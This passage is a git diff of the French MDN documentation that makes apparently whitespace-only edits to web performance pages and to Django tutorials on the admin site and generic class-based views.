a/files/fr/learn/performance/index.md +++ b/files/fr/learn/performance/index.md @@ -20,7 +20,7 @@ Le reste de notre matériel d'apprentissage pour débutants a essayé de s'en te ## Parcours d'apprentissage -Bien que la connaissance de HTML, CSS et JavaScript soit nécessaire pour mettre en œuvre de nombreuses recommandations d'amélioration des performances Web, savoir comment créer des applications n'est pas une condition préalable nécessaire pour comprendre et mesurer les performances Web. Nous vous recommandons cependant, avant de commencer à utiliser ce module, d'avoir au moins une idée de base du développement Web en consultant notre module [Commencer avec le web](/fr/docs/Apprendre/Commencer_avec_le_web). +Bien que la connaissance de HTML, CSS et JavaScript soit nécessaire pour mettre en œuvre de nombreuses recommandations d'amélioration des performances Web, savoir comment créer des applications n'est pas une condition préalable nécessaire pour comprendre et mesurer les performances Web. Nous vous recommandons cependant, avant de commencer à utiliser ce module, d'avoir au moins une idée de base du développement Web en consultant notre module [Commencer avec le web](/fr/docs/Apprendre/Commencer_avec_le_web). Il serait également utile d'approfondir un peu ces sujets, avec des modules tels que: @@ -36,9 +36,9 @@ Cette rubrique contient les guides suivants. Voici un ordre suggéré pour les p - [Le "pourquoi" des performances Web](/fr/docs/Learn/Performance/pourquoi_performance_web) - : Cet article explique pourquoi les performances Web sont importantes pour l'accessibilité, l'expérience utilisateur et vos objectifs commerciaux. -- [Qu'est-ce que la performance Web ?](/fr/docs/Learn/Performance/What_is_web_performance) - - : Vous savez que les performances Web sont importantes, mais en quoi consistent les performances Web ? Cet article présente les composants de la performance, du chargement et du rendu de la page Web, en passant par la manière dont votre contenu est intégré dans le navigateur de votre utilisateur pour être visualisé, aux groupes de personnes dont nous devons tenir compte lors de la réflexion sur les performances. -- [Comment les utilisateurs perçoivent-ils les performances ?](/fr/docs/Learn/Performance/Perceived_performance) +- [Qu'est-ce que la performance Web ?](/fr/docs/Learn/Performance/What_is_web_performance) + - : Vous savez que les performances Web sont importantes, mais en quoi consistent les performances Web ? Cet article présente les composants de la performance, du chargement et du rendu de la page Web, en passant par la manière dont votre contenu est intégré dans le navigateur de votre utilisateur pour être visualisé, aux groupes de personnes dont nous devons tenir compte lors de la réflexion sur les performances. +- [Comment les utilisateurs perçoivent-ils les performances ?](/fr/docs/Learn/Performance/Perceived_performance) - : La vitesse à laquelle vos utilisateurs perçoivent votre site est plus importante que la vitesse de votre site Web en millisecondes. Ces perceptions sont affectées par le temps de chargement réel de la page, l'inactivité, la réactivité à l'interaction de l'utilisateur et la fluidité du défilement et d'autres animations. Dans cet article, nous discutons des différentes métriques de chargement, de l'animation et de la réactivité, ainsi que des meilleures pratiques pour améliorer la perception de l'utilisateur, sinon les timings réels. <!----> diff --git a/files/fr/learn/performance/measuring_performance/index.md b/files/fr/learn/performance/measuring_performance/index.md index e17b0761ce..f5991e68cd 100644 --- a/files/fr/learn/performance/measuring_performance/index.md +++ b/files/fr/learn/performance/measuring_performance/index.md @@ -14,7 +14,7 @@ Cet article présente les indicateurs de performances web que vous pouvez utilis <table class="standard-table"> <tbody> <tr> - <th scope="row">Pré-requis :</th> + <th scope="row">Pré-requis :</th> <td> Bases de l'informatique, <a @@ -28,7 +28,7 @@ Cet article présente les indicateurs de performances web que vous pouvez utilis </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td> <p> Proposer des informations sur les indicateurs de performance web que @@ -46,7 +46,7 @@ Si vous êtes en capacité d'écrire du code pour le web, sachez qu'il existe un Vous pouvez utiliser [l'API d'horodatage de navigation](/fr/docs/Web/API/Navigation_timing_API) pour mesurer les performances web côté client. Cela comprend le volume de temps nécessaire pour décharger la page précédente, le temps que prendra la résolution du nom de domaine, le total du temps passé à exécuter le chargement de la page, et bien plus encore. Vous pouvez utiliser les API pour créer des indicateurs de mesure de tous les évènements liés à la navigation affichés dans le diagramme présenté ci-dessous. - + [L'API de performances](/fr/docs/Web/API/Performance_API/Using_the_Performance_API) propose un accès aux informations liées aux performances, ce qui comprend [l'API de chronologie des performances](/fr/docs/Web/API/Performance_Timeline), [l'API d'horodatage de la navigation](/fr/docs/Web/API/Navigation_timing_API), [l'API d'horodatage du visiteur](/fr/docs/Web/API/User_Timing_API) ainsi que [l'API d'horodatage des ressources](/fr/docs/Web/API/Resource_Timing_API). Ces interfaces permettent de mesurer précisément le temps que prennent les tâches JavaScript pour se dérouler. @@ -58,7 +58,7 @@ Si cet article n'a pas pour but de proposer une documentation complète de ces A ## Outils de mesure -Il y a beaucoup d'outils disponibles pour vous aider à améliorer les performances de vos sites. Ils sont généralement classés dans deux catégories : +Il y a beaucoup d'outils disponibles pour vous aider à améliorer les performances de vos sites. Ils sont généralement classés dans deux catégories : - Les outils qui indiquent ou mesurent les performances, tels que [PageSpeed Insights](https://developers.google.com/speed/pagespeed/insights/) ou le [moniteur réseau](/fr/docs/Tools/Network_Monitor) et le [moniteur de performances](/fr/docs/Tools/Performance) de Firefox. Ces outils vous montrent la vitesse de chargement de votre site ou de votre application. Ils vous indiquent également les points sur lesquels votre application web peut être améliorée. - Les outils qui corrigent le code de votre application web ou de votre site afin d'améliorer ses performances. Par exemple, certains outils de construction empaquettent le code réparti sur plusieurs fichiers en un seul fichier unique afin de réduire le nombre de requêtes HTTP. Il existe aussi des minificateurs qui suppriment tous les espaces de votre code pour réduire la taille des fichiers. @@ -69,7 +69,7 @@ Sur cette page, ces deux catégories d'outils seront abordées. Par ailleurs, en Les outils tels que [PageSpeed Insights](https://developers.google.com/speed/pagespeed/insights/) sont faits pour mesurer les performances des sites. Vous saisissez une URL, puis vous obtenez un rapport de performances en quelques secondes. Le rapport contient les scores obtenus par votre site, que ce soit sur mobile ou sur ordinateur de bureau. C'est un bon point de départ pour savoir d'où vous partez et pour connaître les points d'amélioration. -Au moment de l'écriture de cette page, voici à quoi ressemblait le rapport de performances du site MDN : +Au moment de l'écriture de cette page, voici à quoi ressemblait le rapport de performances du site MDN :  @@ -97,12 +97,12 @@ Cet article était destiné à proposer une vue d'ensemble rapide des indicateur ## Dans ce module -- [Le « pourquoi » des performances web](/fr/docs/Learn/Performance/why_web_performance) -- [Qu'est-ce que sont les performances web ?](/fr/docs/Learn/Performance/What_is_web_performance) -- [Comment les visiteurs perçoivent-ils les performances ?](/fr/docs/Learn/Performance/Perceived_performance) +- [Le « pourquoi » des performances web](/fr/docs/Learn/Performance/why_web_performance) +- [Qu'est-ce que sont les performances web ?](/fr/docs/Learn/Performance/What_is_web_performance) +- [Comment les visiteurs perçoivent-ils les performances ?](/fr/docs/Learn/Performance/Perceived_performance) - [Mesurer les performances](/fr/docs/Learn/Performance/Measuring_performance) -- [Multimédia : images](/fr/docs/Learn/Performance/Multimedia) -- [Multimédia : vidéos](/fr/docs/Learn/Performance/video) +- [Multimédia : images](/fr/docs/Learn/Performance/Multimedia) +- [Multimédia : vidéos](/fr/docs/Learn/Performance/video) - [Bonnes pratiques de performances pour JavaScript](/fr/docs/Learn/Performance/JavaScript) - [Fonctionnalités de HTML liées aux performances](/fr/docs/Learn/Performance/HTML) - [Fonctionnalités de CSS liées aux performances](/fr/docs/Learn/Performance/CSS) diff --git a/files/fr/learn/performance/why_web_performance/index.md b/files/fr/learn/performance/why_web_performance/index.md index 937e183fa6..d8bf6a4c60 100644 --- a/files/fr/learn/performance/why_web_performance/index.md +++ b/files/fr/learn/performance/why_web_performance/index.md @@ -47,7 +47,7 @@ Les performances Web font référence à la rapidité avec laquelle le contenu d Les performances Web et les meilleurs pratiques associées sont essentielles pour que les visiteurs de votre site Web aient une bonne expérience. En un sens, les performances Web peuvent être considérées comme un sous-ensemble de l'[accessibilité web](/fr/docs/Apprendre/a11y). Avec les performaces comme avec l'accessibilité, vous considérez que appareil un visiteur du site utilise pour accéder au site et la vitesse de connexion de l'appareil. -À titre d'exemple, considérons l'expérience de chargement de CNN.com, qui, au moment de la rédaction de cet article, avait plus de 400 requêtes HTTP avec une taille de fichier supérieure à 22.6Mo. +À titre d'exemple, considérons l'expérience de chargement de CNN.com, qui, au moment de la rédaction de cet article, avait plus de 400 requêtes HTTP avec une taille de fichier supérieure à 22.6Mo. - Imaginez charger ceci sur un ordinateur de bureau connecté à un réseau de fibre optique. Cela semblerait relativement rapide, et la taille du fichier serait en grande partie sans importance. - Imaginez charger ce même site en utilisant des données mobiles connectées sur un iPad de 9 ans tout en vous rendant chez vous en transport en commun. Le même site sera lent à se charger, voir presque inutilisable en fonction de la couverture cellulaire. Vous pourriez abandonner avant la fin du chargement. diff --git a/files/fr/learn/server-side/django/admin_site/index.md b/files/fr/learn/server-side/django/admin_site/index.md index 6752286d3d..27733d46e2 100644 --- a/files/fr/learn/server-side/django/admin_site/index.md +++ b/files/fr/learn/server-side/django/admin_site/index.md @@ -198,7 +198,7 @@ Pour le moment, toutes les classes d’administration sont vides (cf. pass), par ### Configurer les vues en liste -La liste des auteurs (objet `Author`) est affichée dans l'application _LocalLibrary_ à l'aide du nom généré par la méthode `__str__()`. Ceci fonctionne bien, judqu'à ce que vous aurez de nombreux auteurs et éventuellement des doublons parmi ces auteurs. Pour bien les différencier, ou simplement parce que vous souhaitez avoir directement plus d'information, vous allez utiliser la directive [list_display](https://docs.djangoproject.com/fr/2.2/ref/contrib/admin/#django.contrib.admin.ModelAdmin) pour ajouter d'autres champs de l'objet `Author`. +La liste des auteurs (objet `Author`) est affichée dans l'application _LocalLibrary_ à l'aide du nom généré par la méthode `__str__()`. Ceci fonctionne bien, judqu'à ce que vous aurez de nombreux auteurs et éventuellement des doublons parmi ces auteurs. Pour bien les différencier, ou simplement parce que vous souhaitez avoir directement plus d'information, vous allez utiliser la directive [list_display](https://docs.djangoproject.com/fr/2.2/ref/contrib/admin/#django.contrib.admin.ModelAdmin) pour ajouter d'autres champs de l'objet `Author`. Modifiez votre classe `AuthorAdmin` comme décrit ci-dessous (vous pouvez copier et coller le code). Les noms de champs à afficher dans la liste sont déclarés dans un tuple dans l'ordre requis. Ils sont identiques à ceux spécifiés dans votre modèle d'objet `Author`. @@ -211,7 +211,7 @@ Si vous accèdez à la page d'administration des auteurs, vous devriez obtenir u  -Pour les livres, nous allons visulaiser les objets `Book` en affichant les champs `author` and `genre`. Le champs `author` est de type `ForeignKey` décrivant une relation un à n. En conséquence, nous afficherons l'élément produit par la méthode `__str__()` de l'objet `Author` pour l'instance associée à votre livre. Le genre est une relation n à n, donc nous allons avoir à traiter son affichage de manière particulière. Modifiez la classe `BookAdmin` comme suit : +Pour les livres, nous allons visulaiser les objets `Book` en affichant les champs `author` and `genre`. Le champs `author` est de type `ForeignKey` décrivant une relation un à n. En conséquence, nous afficherons l'élément produit par la méthode `__str__()` de l'objet `Author` pour l'instance associée à votre livre. Le genre est une relation n à n, donc nous allons avoir à traiter son affichage de manière particulière. Modifiez la classe `BookAdmin` comme suit : ```python class BookAdmin(admin.ModelAdmin): @@ -220,12 +220,12 @@ class BookAdmin(admin.ModelAdmin): Le champ genre représente une relation n à n (`ManyToManyField`) qui ne peut pas être prise en charge par la directive `list_display`. Le coût d'accès à la base de donnée peut être important et donc le cadriciel se protège de ce phénomène. A la place, nous devons définir une fonction(`display_genre`) qui permettra de traiter l'affichage des informations souhaitées pour le genre. -> **Note :** C'est dans un but pédagogique que nous recherchons ici l'affichage du `genre` qui n'a peut-être pas nécessaire d'intérêt et peut représenter un coût d'accès. Nous montrons, ici, comment appler les fonctions dans vos modèles ce qui sera très utile pour la suite de vos applications — par exemple pour ajouter un lien de suppression de vos enregistrements en liste. +> **Note :** C'est dans un but pédagogique que nous recherchons ici l'affichage du `genre` qui n'a peut-être pas nécessaire d'intérêt et peut représenter un coût d'accès. Nous montrons, ici, comment appler les fonctions dans vos modèles ce qui sera très utile pour la suite de vos applications — par exemple pour ajouter un lien de suppression de vos enregistrements en liste. Ajoutez le code ci-dessous dans votre modèle d'objet `Book` (concrètement dans le fichier **locallibrary/catalog/models.py**). Cette fonction génère une chaîne de caractère contenant les trois premières valeurs de tous les genres (s'ils existent) et créer une courte destription (`short_description`) qui sera utilisé par le site d'administration avec cette méthode. ```python - def display_genre(self): + def display_genre(self): """Create a string for the Genre. This is required to display genre in Admin.""" return ', '.join(genre.name for genre in self.genre.all()[:3]) @@ -300,7 +300,7 @@ class BookInstanceAdmin(admin.ModelAdmin): Chaque section peut avoir un titre (ou aucun si vous indiquez la valeur `None`) et des champs regroupés à l'aide de tuples enregistrés dans un dictionnaire — le schéma de déclaration peut paraître compliqué à décrire mais assez aisé à comprendre à la lecture du code ci-dessus formaté pour être plus compréhensible. -Le résultat de cette description devrait vous apparaître de manière analogue à celle présente ci-dessous : +Le résultat de cette description devrait vous apparaître de manière analogue à celle présente ci-dessous :  @@ -308,16 +308,16 @@ Le résultat de cette description devrait vous apparaître de manière analogue Parfois, il peut être très utile d'ajouter à l'affichage des éléments associés en même temps. C'est le cas, par exemple, pour les copies d'ouvrage associés à un livre en bibliothèque. Il est utile pour le bibliothécaire de disposer à la fois des informations sur le livre et des copies présentes ou non en rayonnage.. -Pour cela, vous pouvez utiliser un d'objet pour un affichage horizontal ([TabularInline](https://docs.djangoproject.com/fr/2.2/ref/contrib/admin/#django.contrib.admin.TabularInline)) ou vertical ([StackedInline)](https://docs.djangoproject.com/fr/2.2/ref/contrib/admin/#django.contrib.admin.StackedInline) (qui n'est autre que l'affichage standard des données). Modifiez le code associé à votre modèle `BookInstance` dans le fichier **admin.py** pour disposer des informations _inline_ à l'affichage des informations sur votre objet `Book`. Gardez en mémoire que c'est l'objet `BookAdmin` qui gère l'affichage les informations de l'objet `Book`; c'est donc `BookAdmin` il doit donc être modifié : +Pour cela, vous pouvez utiliser un d'objet pour un affichage horizontal ([TabularInline](https://docs.djangoproject.com/fr/2.2/ref/contrib/admin/#django.contrib.admin.TabularInline)) ou vertical ([StackedInline)](https://docs.djangoproject.com/fr/2.2/ref/contrib/admin/#django.contrib.admin.StackedInline) (qui n'est autre que l'affichage standard des données). Modifiez le code associé à votre modèle `BookInstance` dans le fichier **admin.py** pour disposer des informations _inline_ à l'affichage des informations sur votre objet `Book`. Gardez en mémoire que c'est l'objet `BookAdmin` qui gère l'affichage les informations de l'objet `Book`; c'est donc `BookAdmin` il doit donc être modifié : ```python class BooksInstanceInline(admin.TabularInline): - model = BookInstance + model = BookInstance @admin.register(Book) class BookAdmin(admin.ModelAdmin): - list_display = ('title', 'author', 'display_genre') - inlines = [BooksInstanceInline] + list_display = ('title', 'author', 'display_genre') + inlines = [BooksInstanceInline] ``` Si vous allez consulter un livre, vous devriez pouvoir, au bas de la page, consulter la liste des copies enregistrées : @@ -341,7 +341,7 @@ Beaucoup de sujets ont été abordés dans ce chapitre... Vous avez acquis les b ## A voir aussi -- [Ecrire sa première application Dajngo, 2ème partie](https://docs.djangoproject.com/fr/2.2/intro/tutorial02/#introducing-the-django-admin) (Django docs) +- [Ecrire sa première application Dajngo, 2ème partie](https://docs.djangoproject.com/fr/2.2/intro/tutorial02/#introducing-the-django-admin) (Django docs) - [Le site d'administration de Django](https://docs.djangoproject.com/fr/2.2/ref/contrib/admin/) (Django Docs) {{PreviousMenuNext("Learn/Server-side/Django/Models", "Learn/Server-side/Django/Home_page", "Learn/Server-side/Django")}} diff --git a/files/fr/learn/server-side/django/generic_views/index.md b/files/fr/learn/server-side/django/generic_views/index.md index ce38891f7d..edfe0820b7 100644 --- a/files/fr/learn/server-side/django/generic_views/index.md +++ b/files/fr/learn/server-side/django/generic_views/index.md @@ -53,12 +53,12 @@ La page de liste des livres va afficher une liste de tous les enregistrements de ### Mappage d'URL -Ouvrez le fichier **/catalog/urls.py**, et copiez-y la ligne en gras ci-dessous. Comme pour la page d'index, cette fonction `path()` définit un pattern destiné à identifier l'URL (**'books/'**), une fonction vue qui sera appelée si l'URL correspond (`views.BookListView.as_view()`), et un nom pour ce mappage particulier. +Ouvrez le fichier **/catalog/urls.py**, et copiez-y la ligne en gras ci-dessous. Comme pour la page d'index, cette fonction `path()` définit un pattern destiné à identifier l'URL (**'books/'**), une fonction vue qui sera appelée si l'URL correspond (`views.BookListView.as_view()`), et un nom pour ce mappage particulier. ```python urlpatterns = [ path('', views.index, name='index'), - path('books/', views.BookListView.as_view(), name='books'), + path('books/', views.BookListView.as_view(), name='books'), ] ``` @@ -70,7 +70,7 @@ En Django, on accède à la fonction appropriée d'une vue basée sur classe en ### Vue (basée sur classe) -Nous pourrions assez aisément écrire la vue "liste de livres" comme une fonction ordinaire (comme notre précédente vue "index"), qui interrogerait la base de données pour tous les livres, et qui ensuite appellerait `render()` pour passer la liste à un template spécifique. À la place, cependant, nous allons utiliser une vue "liste" générique, basée sur une classe (`ListView`), une classe qui hérite d'une vue existante. Parce que la vue générique implémente déjà la plupart des fonctionnalités dont nous avons besoin et suit les meilleures pratiques Django, nous pourrons créer une vue "liste" plus robuste avec moins de code, moins de répétition, et au final moins de maintenance. +Nous pourrions assez aisément écrire la vue "liste de livres" comme une fonction ordinaire (comme notre précédente vue "index"), qui interrogerait la base de données pour tous les livres, et qui ensuite appellerait `render()` pour passer la liste à un template spécifique. À la place, cependant, nous allons utiliser une vue "liste" générique, basée sur une classe (`ListView`), une classe qui hérite d'une vue existante. Parce que la vue générique implémente déjà la plupart des fonctionnalités dont nous avons besoin et suit les meilleures pratiques Django, nous pourrons créer une vue "liste" plus robuste avec moins de code, moins de répétition, et au final moins de maintenance. Ouvrez le fichier **catalog/views.py**, et copiez-y le code suivant à la fin : @@ -81,9 +81,9 @@ class BookListView(generic.ListView): model = Book ``` -C'est tout ! La vue générique va adresser une requête à la base de données pour obtenir tous les enregistrements du modèle spécifié (`Book`), et ensuite rendre un template situé à l'adresse **/locallibrary/catalog/templates/catalog/book_list.html** (que nous allons créer ci-dessous). À l'intérieur du template vous pouvez accéder à la liste de livres grâce à la variable de template appelée `object_list` OU `book_list` (c'est-à-dire l'appellation générique "`the_model_name_list`"). +C'est tout ! La vue générique va adresser une requête à la base de données pour obtenir tous les enregistrements du modèle spécifié (`Book`), et ensuite rendre un template situé à l'adresse **/locallibrary/catalog/templates/catalog/book_list.html** (que nous allons créer ci-dessous). À l'intérieur du template vous pouvez accéder à la liste de livres grâce à la variable de template appelée `object_list` OU `book_list` (c'est-à-dire l'appellation générique "`the_model_name_list`"). -> **Note :** Ce chemin étrange vers le lieu du template n'est pas une faute de frappe : les vues génériques cherchent les templates dans `/application_name/the_model_name_list.html` (`catalog/book_list.html` dans ce cas) à l'intérieur du répertoire `/application_name/templates/` (`/catalog/templates/`). +> **Note :** Ce chemin étrange vers le lieu du template n'est pas une faute de frappe : les vues génériques cherchent les templates dans `/application_name/the_model_name_list.html` (`catalog/book_list.html` dans ce cas) à l'intérieur du répertoire `/application_name/templates/` (`/catalog/templates/`). Vous pouvez ajouter des attributs pour changer le comportement par défaut utilisé ci-dessus. Par exemple, vous pouvez spécifier un autre fichier de template si vous souhaitez avoir plusieurs vues qui utilisent ce même modèle, ou bien vous pourriez vouloir utiliser un autre nom de variable de template, si book_list n'est pas intuitif par rapport à l'usage que vous faites de vos templates. Probablement, le changement le plus utile est de changer/filtrer le sous-ensemble des résultats retournés : au lieu de lister tous les livres, vous pourriez lister les 5 premiers livres lus par d'autres utilisateurs. @@ -99,28 +99,28 @@ class BookListView(generic.ListView): Bien que nous n'ayons pas besoin de le faire ici, sachez qu'il vous est possible de ré-écrire des méthodes de classe. -Par exemple, nous pouvons ré-écrire la méthode `get_queryset()` pour changer la liste des enregistrements retournés. Cette façon de faire est plus flexible que simplement définir l'attribut `queryset`, comme nous l'avons fait dans le précédent fragment de code (bien qu'il n'y ait pas vraiment d'intérêt dans ce cas) : +Par exemple, nous pouvons ré-écrire la méthode `get_queryset()` pour changer la liste des enregistrements retournés. Cette façon de faire est plus flexible que simplement définir l'attribut `queryset`, comme nous l'avons fait dans le précédent fragment de code (bien qu'il n'y ait pas vraiment d'intérêt dans ce cas) : ```python class BookListView(generic.ListView): model = Book - def get_queryset(self): - return Book.objects.filter(title__icontains='war')[:5] # Get 5 books containing the title war + def get_queryset(self): + return Book.objects.filter(title__icontains='war')[:5] # Get 5 books containing the title war ``` -Nous pourrions aussi réécrire `get_context_data()`, afin d'envoyer au template des variables de contexte supplémentaires (par défaut c'est la liste de livres qui est envoyée). Le bout de code ci-dessous montre comment ajouter une variable appelée "`some_data`" au contexte (elle sera alors accessible comme variable de template). +Nous pourrions aussi réécrire `get_context_data()`, afin d'envoyer au template des variables de contexte supplémentaires (par défaut c'est la liste de livres qui est envoyée). Le bout de code ci-dessous montre comment ajouter une variable appelée "`some_data`" au contexte (elle sera alors accessible comme variable de template). ```python class BookListView(generic.ListView): model = Book - def get_context_data(self, **kwargs): - # Call the base implementation first to get the context - context = super(BookListView, self).get_context_data(**kwargs) - # Create any data and add it to the context - context['some_data'] = 'This is just some data' - return context + def get_context_data(self, **kwargs): + # Call the base implementation first to get the context + context = super(BookListView, self).get_context_data(**kwargs) + # Create any data and add it to the context + context['some_data'] = 'This is just some data' + return context ``` Quand vous faites cela, il est important de suivre la procédure indiquée ci-dessus : @@ -142,25 +142,25 @@ Les templates pour vues génériques sont exactement comme les autres templates {% block content %} <h1>Book List</h1> - {% if book_list %} - <ul> - {% for book in book_list %} - <li> - <a href="\{{ book.get_absolute_url }}">\{{ book.title }}</a> (\{{book.author}}) - </li> - {% endfor %} - </ul> - {% else %} - <p>There are no books in the library.</p> - {% endif %} + {% if book_list %} + <ul> + {% for book in book_list %} + <li> + <a href="\{{ book.get_absolute_url }}">\{{ book.title }}</a> (\{{book.author}}) + </li> + {% endfor %} + </ul> + {% else %} + <p>There are no books in the library.</p> + {% endif %} {% endblock %} ``` -La vue envoie le contexte (liste de livres), en utilisant par défaut les alias `object_list` et `book_list` ; l'un et l'autre fonctionnent. +La vue envoie le contexte (liste de livres), en utilisant par défaut les alias `object_list` et `book_list` ; l'un et l'autre fonctionnent. #### Exécution conditionnelle -Nous utilisons les balises de templates [`if`](https://docs.djangoproject.com/en/2.1/ref/templates/builtins/#if), `else`, et `endif` pour vérifier que la `book_list` a été définie et n'est pas vide. Si `book_list` est vide, alors la condition `else` affiche un texte expliquant qu'il n'y a pas de livres à lister. Si `book_list` n'est pas vide, nous parcourons la liste de livres. +Nous utilisons les balises de templates [`if`](https://docs.djangoproject.com/en/2.1/ref/templates/builtins/#if), `else`, et `endif` pour vérifier que la `book_list` a été définie et n'est pas vide. Si `book_list` est vide, alors la condition `else` affiche un texte expliquant qu'il n'y a pas de livres à lister. Si `book_list` n'est pas vide, nous parcourons la liste de livres. ```html {% if book_list %} @@ -170,11 +170,11 @@ Nous utilisons les balises de templates [`if`](https://docs.djangoproject.com/en {% endif %} ``` -La condition ci-dessus ne vérifie qu'un seul cas, mais vous pouvez ajouter d'autres tests grâce à la balise de template `elif` (par exemple `{% elif var2 %}`). Pour plus d'information sur les opérateurs conditionnels, voyez ici : [if](https://docs.djangoproject.com/en/2.1/ref/templates/builtins/#if), [ifequal/ifnotequal](https://docs.djangoproject.com/en/2.1/ref/templates/builtins/#ifequal-and-ifnotequal), et [ifchanged](https://docs.djangoproject.com/en/2.1/ref/templates/builtins/#ifchanged) dans [Built-in template tags and filters](https://docs.djangoproject.com/en/2.1/ref/templates/builtins) (Django Docs). +La condition ci-dessus ne vérifie qu'un seul cas, mais vous pouvez ajouter d'autres tests grâce à la balise de template `elif` (par exemple `{% elif var2 %}`). Pour plus d'information sur les opérateurs conditionnels, voyez ici : [if](https://docs.djangoproject.com/en/2.1/ref/templates/builtins/#if), [ifequal/ifnotequal](https://docs.djangoproject.com/en/2.1/ref/templates/builtins/#ifequal-and-ifnotequal), et [ifchanged](https://docs.djangoproject.com/en/2.1/ref/templates/builtins/#ifchanged) dans [Built-in template tags and filters](https://docs.djangoproject.com/en/2.1/ref/templates/builtins) (Django Docs). #### Boucles for -Le template utilise les balises de template [for](https://docs.djangoproject.com/en/2.1/ref/templates/builtins/#for) et `endfor` pour boucler à travers la liste de livres, comme montré ci-dessous. Chaque itération peuple la variable de template `book` avec l'information concernant l'élément courant de la liste. +Le template utilise les balises de template [for](https://docs.djangoproject.com/en/2.1/ref/templates/builtins/#for) et `endfor` pour boucler à travers la liste de livres, comme montré ci-dessous. Chaque itération peuple la variable de template `book` avec l'information concernant l'élément courant de la liste. ```html {% for book in book_list %} @@ -182,7 +182,7 @@ Le template utilise les balises de template [for](https://docs.djangoproject.com {% endfor %} ``` -Bien que nous ne l'utilisions pas ici, Django, à l'intérieur de la boucle, va aussi créer d'autres variables que vous pouvez utiliser pour suivre l'itération. Par exemple, vous pouvez tester la variable `forloop.last` pour réaliser une action conditionnelle au dernier passage de la boucle. +Bien que nous ne l'utilisions pas ici, Django, à l'intérieur de la boucle, va aussi créer d'autres variables que vous pouvez utiliser pour suivre l'itération. Par exemple, vous pouvez tester la variable `forloop.last` pour réaliser une action conditionnelle au dernier passage de la boucle. #### Accéder aux variables @@ -192,15 +192,15 @@ Le code à l'intérieur de la boucle crée un élément de liste pour chaque liv <a href="\{{ book.get_absolute_url }}">\{{ book.title }}</a> (\{{book.author}}) ``` -Nous accédons aux _champs_ de l'enregistrement "livre" associé, en utilisant la notation "à points" (par exemple `book.title` et `book.author`), où le texte suivant l'item `book` est le nom du champ (comme défini dans le modèle). +Nous accédons aux _champs_ de l'enregistrement "livre" associé, en utilisant la notation "à points" (par exemple `book.title` et `book.author`), où le texte suivant l'item `book` est le nom du champ (comme défini dans le modèle). -Nous pouvons aussi appeler des _fonctions_ contenues dans le modèle depuis l'intérieur de notre template — dans ce cas nous appelons `Book.get_absolute_url()` pour obtenir une URL que vous pouvez utiliser pour afficher dans la vue détail l'enregistrement associé. Cela fonctionne, pourvu que la fonction ne comporte pas d'arguments (il n'y a aucun moyen de passer des arguments !). +Nous pouvons aussi appeler des _fonctions_ contenues dans le modèle depuis l'intérieur de notre template — dans ce cas nous appelons `Book.get_absolute_url()` pour obtenir une URL que vous pouvez utiliser pour afficher dans la vue détail l'enregistrement associé. Cela fonctionne, pourvu que la fonction ne comporte pas d'arguments (il n'y a aucun moyen de passer des arguments !). > **Note :** Il nous faut être quelque peu attentifs aux "effets de bord" quand nous appelons des fonctions dans nos templates. Ici nous récupérons simplement une URL à afficher, mais une fonction peut faire à peu près n'importe quoi — nous ne voudrions pas effacer notre base de données (par exemple) juste parce que nous avons affiché notre template ! #### Mettre à jour le template de base -Ouvrez le template de base (**/locallibrary/catalog/templates/_base_generic.html_**) et insérez **{% url 'books' %}** dans le lien URL pour **All books**, comme indiqué ci-dessous. Cela va afficher le lien dans toutes les pages (nous pouvons mettre en place ce lien avec succès, maintenant que nous avons créé le mappage d'URL "books"). +Ouvrez le template de base (**/locallibrary/catalog/templates/_base_generic.html_**) et insérez **{% url 'books' %}** dans le lien URL pour **All books**, comme indiqué ci-dessous. Cela va afficher le lien dans toutes les pages (nous pouvons mettre en place ce lien avec succès, maintenant que nous avons créé le mappage d'URL "books"). ```python <li><a href="{% url 'index' %}">Home</a></li> @@ -214,25 +214,25 @@ Vous ne pouvez pas encore construire la liste des livres, car il nous manque tou ## Page de détail d'un livre -La page de détail d'un livre va afficher les informations sur un livre précis, auquel on accède en utilisant l'URL `catalog/book/<id>` (où `<id>` est la clé primaire pour le livre). En plus des champs définis dans le modèle `Book` (auteur, résumé, ISBN, langue et genre), nous allons aussi lister les détails des copies disponibles (`BookInstances`), incluant le statut, la date de retour prévue, la marque d'éditeur et l'id. Cela permettra à nos lecteurs, non seulement de s'informer sur le livre, mais aussi de confirmer si et quand il sera disponible. +La page de détail d'un livre va afficher les informations sur un livre précis, auquel on accède en utilisant l'URL `catalog/book/<id>` (où `<id>` est la clé primaire pour le livre). En plus des champs définis dans le modèle `Book` (auteur, résumé, ISBN, langue et genre), nous allons aussi lister les détails des copies disponibles (`BookInstances`), incluant le statut, la date de retour prévue, la marque d'éditeur et l'id. Cela permettra à nos lecteurs, non seulement de s'informer sur le livre, mais aussi de confirmer si et quand il sera disponible. ### Mappage d'URL -Ouvrez **/catalog/urls.py** et ajoutez-y le mappeur d'URL '**book-detail**' indiqué en gras ci-dessous. Cette fonction `path()` définit un pattern, la vue générique basée sur classe qui lui est associée, ainsi qu'un nom. +Ouvrez **/catalog/urls.py** et ajoutez-y le mappeur d'URL '**book-detail**' indiqué en gras ci-dessous. Cette fonction `path()` définit un pattern, la vue générique basée sur classe qui lui est associée, ainsi qu'un nom. ```python urlpatterns = [ path('', views.index, name='index'), - path('books/', views.BookListView.as_view(), name='books'), - path('book/<int:pk>', views.BookDetailView.as_view(), name='book-detail'), + path('books/', views.BookListView.as_view(), name='books'), + path('book/<int:pk>', views.BookDetailView.as_view(), name='book-detail'), ] ``` -Pour le chemin *book-detail*, le pattern d'URL utilise une syntaxe spéciale pour capturer l'id exact du livre que nous voulons voir. La syntaxe est très simple : les chevrons ('<' et '>') définissent la partie de l'URL qui doit être capturée et encadrent le nom de la variable que la vue pourra utiliser pour accéder aux données capturées. Par exemple, **\<something>** va capturer le pattern marqué et passer la valeur à la vue en tant que variable "something". De manière optionnelle, vous pouvez faire précéder le nom de variable d'une [spécification de convertisseur](https://docs.djangoproject.com/en/2.1/topics/http/urls/#path-converters), qui définit le type de la donnée (int, str, slug, uuid, path). +Pour le chemin *book-detail*, le pattern d'URL utilise une syntaxe spéciale pour capturer l'id exact du livre que nous voulons voir. La syntaxe est très simple : les chevrons ('<' et '>') définissent la partie de l'URL qui doit être capturée et encadrent le nom de la variable que la vue pourra utiliser pour accéder aux données capturées. Par exemple, **\<something>** va capturer le pattern marqué et passer la valeur à la vue en tant que variable "something". De manière optionnelle, vous pouvez faire précéder le nom de variable d'une [spécification de convertisseur](https://docs.djangoproject.com/en/2.1/topics/http/urls/#path-converters), qui définit le type de la donnée (int, str, slug, uuid, path). -Dans ce cas, nous 